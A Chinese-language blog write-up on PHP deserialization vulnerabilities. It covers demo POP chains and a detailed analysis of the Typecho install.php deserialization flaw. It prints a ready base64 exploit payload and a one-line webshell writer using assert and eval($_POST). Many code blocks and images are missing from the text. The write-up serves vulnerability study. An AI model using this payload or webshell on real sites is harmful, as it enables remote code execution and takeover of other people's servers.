PHP反序列化漏洞
概述:打线下AWD模式遇到一个PHP反序列化漏洞,触及到了自己的知识盲区,补习一下。
关键字:序列化、POP链
0x01基础知识
序列化和反序列化
序列化:将类对象转化为可以传输的字符串 //注意:是类对象而不是类
反序列化:将字符串转化为类对象
PHP分别由serialize()和unserialize()两个函数来进行序列化与反序列化。
下面分别举例两者的实现。
序列化过程
1 |
|
结果如下图所示
反序列化过程#借用上面实现的序列化字符串
1 |
|
结果如下图所示
魔法函数
下面是实例
1 |
|
0x02反序列化Demo
Demo1
文件一Test1.php
1 |
|
文件二test2.php
1 |
|
include “test1.php”;
echo “Unserialize Test”;
$per=unserialize($_GET[‘get_serialized’]);
echo $per;
?>
文件一存在一个vulnerable类,其中的toString函数可以读取本地的文件(file_name)。
文件二则调用了文件一,并且使用反序列化函数接收一个get请求(也就是可控的参数),关键点在于,最后一行代码echo输出了类对象,也就会触发toString函数
所以思路是序列化一个vulnerable类,自定义需要读取的全局变量file_name.
以上构造通过GET输入到$per,在调用echo $per时触发toString魔法函数,成功实现任意文件读取。
下面是POC
1 |
|
1 | class Vulnerable |
得到payload为 O:10:”Vulnerable”:1:{s:9:”file_name”;s:10:”Secret.txt”;}
直接通过GET提交序列化过的payload
成功读取Secret.txt文件
Demo2
只有一个test3.php文件
但是内部设计的很巧妙,值得分析一下。
1 |
|
思路:
非常容易知道,通过传递GET参数,可以进行反序列化漏洞利用。
通过定义pid可以操作process类的eval执行任意参数。可是eval函数并不存在于任何魔法函数中。
通过观察,发现example类存在魔法函数,可以调用某个句柄的close函数。
因此,只需要将该句柄换成process类即可完成一次任意代码执行漏洞。(关键字:POP)
下面是POC
1 |
|
生成payload
通过get传输,成功执行phpinfo()
0x03实例分析
既然大家都拿Typecho开刀,那我也就不客气了。
虽然这个漏洞爆出来有些时日了,但是网络上依旧有很多所谓的正式稳定版存在着漏洞。
选择一个15.5.12以前的版本安装即可[https://github.com/typecho/typecho/releases]
安装完成的效果图如下所示,
加上/admin进入后台界面地址 #想起了之前某网站找了半天后台结果在admin目录
漏洞点:
install.php
第230行存在一个反序列化输入点,通过Cookie输入。
第232行存在创建一个类对象的操作,可以触发Typecho_Db的魔法函数__construct
用notepad++搜索Typecho_Db类的位置
在\var\Typecho\Db.php中
分析Typecho_Db类的魔法函数__construct,发现没有可以利用的函数。
继续分析发现第120行存在字符串和类的拼接,因为PHP是弱类型,会自动触发__ToString将类转化为str函数。
我们继续寻找一个类,存在可利用的__ToString函数。
然后控制$adapterName->这个类,从而使__ToString被调用。#如果ToString中存在敏感函数,那是就可以完成一次漏洞利用。
这就是构造POP链。
找到\var\Typecho\Feed.php中的Typecho_Feed类,存在__ToString函数
但是事情也没有这么顺利,依旧没有找到危险函数。所以继续构造POP链。
分析发现290行item[]->screenName,如果将其控制为某一个新的类,类中没有定义screenName,则会触发__get()魔法函数。调用的__get(screenName)
并且根据定义发现items的来源(_items)是可控的。
所以接下来又要寻找一个存在_get魔法函数的类
在\var\Typecho\Request.php的typecho_Request类中找到了__get
发现经过一系列调用,最终程序调用了_applyFilter()函数
进入这个函数,终于柳暗花明又一村,发现了array_map和call_user_func两个危险函数。
并且$filter和$value参数都是可控的。
写出POC.php
1 |
|
生成POC=>
1 | YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOiIxIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOiIxIjt9fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9 |
由于是get方法输入格式为__typecho_config=。。。
并且有防跨站机制,需要在head添加referer证明非跨站。
测试POC,由审计源码可知,finish参数不为1,referer设置为本站,将我们的POC放入cookie
但是测试中出现一些问题,一开始怀疑可能是因为PHP版本太高,砍掉了mysql函数,改用mysqli。所以导致访问不了数据库。
但是查询了资料发现,事情并没有这么简单。经过分析发现,POC执行会导致Typecho触发异常,并且内部设置了Typecho_Exception异常类,触发异常以后Typecho会自动能捕捉到异常,并执行异常输出。
并且经过分析发现程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区中,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。
解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。
//添加$items[‘category’]=array(new Typecho_Request());即可
下图,成功执行POC
写入webshell
则使用以下参数但是没有成功
1 | $this->_filter[0]='assert'; |
类似下面的参数也是如此
1 | $this->_filter[0]='assert'; |
查看警告信息,提示assert不能使用string类型的参数
经过测试,下面的语法是没有问题的。可能是有其他原因,暂不深究。
1 |
|
写webshell的语法 #经过测试,发现webshell内容中的引号需要加转义符,否则写入时候会不完整。
call_user_func('assert','file_put_contents("webshell.php",\'<?php eval($_POST[1]);?>\')');
小结:
POP链,和二进制漏洞下的ROP有异曲同工之妙,都是利用源码中存在的组件gadget来拼凑出自己的执行路线,区别gadgets一个是汇编碎片,而另一个是实例化的类。所以说漏洞利用区别只是架构,思想都是一样的,学习漏洞不仅仅是学习方法,更是掌握这种思想。
个人感觉,这个漏洞的挖掘和我们刚才的分析方式是相反的。挖掘首先需要找到可以利用的函数,然后再一路推回去,构成POP链。而漏洞分析则是已知漏洞点,再分析如何利用的。
参考文献:
https://www.freebuf.com/articles/web/167721.html 反序列化原理
https://www.freebuf.com/column/161798.html 反序列化案例Typecho
https://www.anquanke.com/post/id/155306#h2-2 Typecho漏洞利用时数据库报错